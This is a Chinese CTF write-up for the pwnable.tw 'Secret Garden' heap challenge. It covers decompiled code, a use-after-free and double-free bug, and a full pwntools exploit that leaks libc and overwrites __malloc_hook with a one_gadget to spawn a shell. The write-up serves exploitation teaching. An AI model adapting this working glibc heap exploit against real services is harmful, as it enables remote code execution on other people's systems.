15

和媳妇一起学Pwn 之 Secret Garden

 5 years ago
source link: https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/21/garden/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

漏洞点是:存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free。

利用方式:本题libc版本为2.23,故可以使用构造FastbinAttack的DoubleFree完成有约束的地址写任意值。题目开启了全部保护,所以首先通过堆排布的手段泄露libc基址。然后通过DoubleFree覆盖libc中的__malloc_hook函数指针为one_gadget,并触发即可getshell。

检查

➜  file secretgarden
secretgarden: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cc989aba681411cb235a53b6c5004923d557ab6a, stripped
➜  checksec secretgarden 
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

64位,动态链接,去符号表,保护全开

分析

仍然是菜单题目:种花,逛花园,扔了花,清理花园,回家。然后仍然是进行一系列的patch加改名。题目的代码稍微有一点点难看

add

int add()
{
  _QWORD *flower; // rbx
  void *flower_name; // rbp
  _QWORD *v2; // rcx
  signed int v3; // edx
  unsigned int size[9]; // [rsp+4h] [rbp-24h]

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  size[0] = 0;
  if ( total_num > 0x63u )
    return puts("The garden is overflow");
  flower = malloc(0x28uLL);
  *flower = 0LL;
  flower[1] = 0LL;
  flower[2] = 0LL;
  flower[3] = 0LL;
  flower[4] = 0LL;
  __printf_chk(1LL, "Length of the name :");
  if ( (unsigned int)__isoc99_scanf("%u", size) == -1 )
    exit(-1);
  flower_name = malloc(size[0]);
  if ( !flower_name )
  {
    puts("Alloca error !!");
    exit(-1);
  }
  __printf_chk(1LL, "The name of flower :");
  read(0, flower_name, size[0]);
  flower[1] = flower_name;
  __printf_chk(1LL, "The color of the flower :");
  __isoc99_scanf("%23s", flower + 2);
  *(_DWORD *)flower = 1;
  if ( list[0] )
  {
    v2 = &list[1];
    v3 = 1;
    while ( *v2 )
    {
      ++v3;
      ++v2;
      if ( v3 == 100 )
        goto LABEL_14;
    }
  }
  else
  {
    v3 = 0;
  }
  list[v3] = flower;
LABEL_14:
  ++total_num;
  return puts("Successful !");
}

show

int show()
{
  __int64 v0; // rbx
  __int64 v1; // rax
  __int64 v2; // rcx
  __int64 v3; // rcx

  v0 = 0LL;
  if ( total_num )
  {
    do
    {
      v1 = list[v0];
      if ( v1 && *(_DWORD *)v1 )
      {
        v2 = *(_QWORD *)(v1 + 8);
        __printf_chk(1LL, "Name of the flower[%u] :%s\n");
        v3 = list[v0];
        LODWORD(v1) = __printf_chk(1LL, "Color of the flower[%u] :%s\n");
      }
      ++v0;
    }
    while ( v0 != 100 );
  }
  else
  {
    LODWORD(v1) = puts("No flower in the garden !");
  }
  return v1;
}

del

int del()
{
  int result; // eax
  _DWORD *v1; // rax
  unsigned int v2; // [rsp+4h] [rbp-14h]
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !total_num )
    return puts("No flower in the garden");
  __printf_chk(1LL, "Which flower do you want to remove from the garden:");
  __isoc99_scanf("%d", &v2);
  if ( v2 <= 0x63 && (v1 = (_DWORD *)list[v2]) != 0LL )
  {
    *v1 = 0;
    free(*(void **)(list[v2] + 8LL));
    result = puts("Successful");
  }
  else
  {
    puts("Invalid choice");
    result = 0;
  }
  return result;
}

clear

unsigned __int64 clear()
{
  _QWORD *v0; // rbx
  _DWORD *v1; // rdi
  unsigned __int64 v3; // [rsp+8h] [rbp-20h]

  v3 = __readfsqword(0x28u);
  v0 = list;
  do
  {
    v1 = (_DWORD *)*v0;
    if ( *v0 && !*v1 )
    {
      free(v1);
      *v0 = 0LL;
      --total_num;
    }
    ++v0;
  }
  while ( v0 != &list[100] );
  puts("Done!");
  return __readfsqword(0x28u) ^ v3;
}

数据结构

漏洞点

调试模板

因为程序开启了PIE,所以在调试打断时会有点麻烦,所以设计如下调试模板,参考:

from pwn import *

# challenge information
context(arch='amd64',os='linux',log_level='debug')
myelf  = ELF("./secretgarden")
libc   = ELF("./libc_64.so.6")
io     = process(myelf.path,env={"LD_PRELOAD" : libc.path})
rio    = remote("chall.pwnable.tw",10203) 

# local libc
local_libc_64  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
local_libc_32  = ELF("/lib/i386-linux-gnu/libc.so.6")

# functions for quick script
s       = lambda data               :io.send(data)       
sa      = lambda delim,data         :io.sendafter(delim, data) 
sl      = lambda data               :io.sendline(data) 
sla     = lambda delim,data         :io.sendlineafter(delim, data) 
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims             :io.recvuntil(delims)

# misc functions
uu32    = lambda data   :u32(data.ljust(4, b'\0'))
uu64    = lambda data   :u64(data.ljust(8, b'\0'))
leak    = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))

# one gadget
one_gadget_16_04_32 = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
one_gadget_16_04_64 = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget_18_04_64 = [0x4f2c5,0x4f322,0x10a38c]

# base addr
gdb_text_base = int(os.popen("pmap {}| awk ''".format(io.pid)).readlines()[1], 16)
gdb_libc_base = int(os.popen("pmap {}| grep libc | awk ''".format(io.pid)).readlines()[0], 16)

# debug function
def debug(addr=0,cmd='',PIE=True):
    if PIE: addr = gdb_text_base + addr
    log.warn("breakpoint_addr --> 0x%x" % addr)
    gdb.attach(io,"b *{}\nc\n".format(hex(addr))+cmd) 

add     = lambda len,name,color :  (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color))
show    = lambda                :  (sla("choice : ","2"))
rm      = lambda num            :  (sla("choice : ","3"),sla("garden:",str(num)))
clear   = lambda                :  (sla("choice : ","4"))

add(500,"1","1")
debug(0x107b,"x /100bx "+hex(gdb_libc_base+libc.symbols['__malloc_hook']-0x50))
add(500,"1","1")
io.interactive()

利用

堆排布泄露libc

修改__malloc_hook

one_gadget利用约束

最终exp

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
libc   = ELF("./libc_64.so.6")
io = remote("chall.pwnable.tw",10203) 
one_gadget = 0xef6c4

sla     = lambda delim,data     :  io.sendlineafter(delim,data)
add     = lambda len,name,color :  (sla("choice : ","1"),sla("name :",str(len)),sla("flower :",name),sla("flower :",color))
show    = lambda                :  (sla("choice : ","2"))
rm      = lambda num            :  (sla("choice : ","3"),sla("garden:",str(num)))

# use unsorted bin to leak libc
add(500,"1","1")
add(40,"1","1")
add(10,"1","1")
rm(1);rm(0)
add(500,"","1")
show();io.recvuntil("flower[3] :")
libc_addr = u64(io.recv(6)+'\x00\x00')-0x3c3b0a
malloc_hook = libc_addr + libc.symbols['__malloc_hook']

# use fastbin double free attack to modify malloc_hook, the fake chunk addr is found by dynamic debug
fake_chunk = malloc_hook-0x23
add(104,'1','1')
add(104,'1','1')
rm(4);rm(5);rm(4)
add(104,p64(fake_chunk),'1')
add(104,'1','1')
add(104,'1','1')
add(104,'a'*19+p64(libc_addr+one_gadget),'1')

# call malloc by using double free error to satisfy one_gadget constraints
rm(8);rm(8)
io.interactive()

Recommend

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK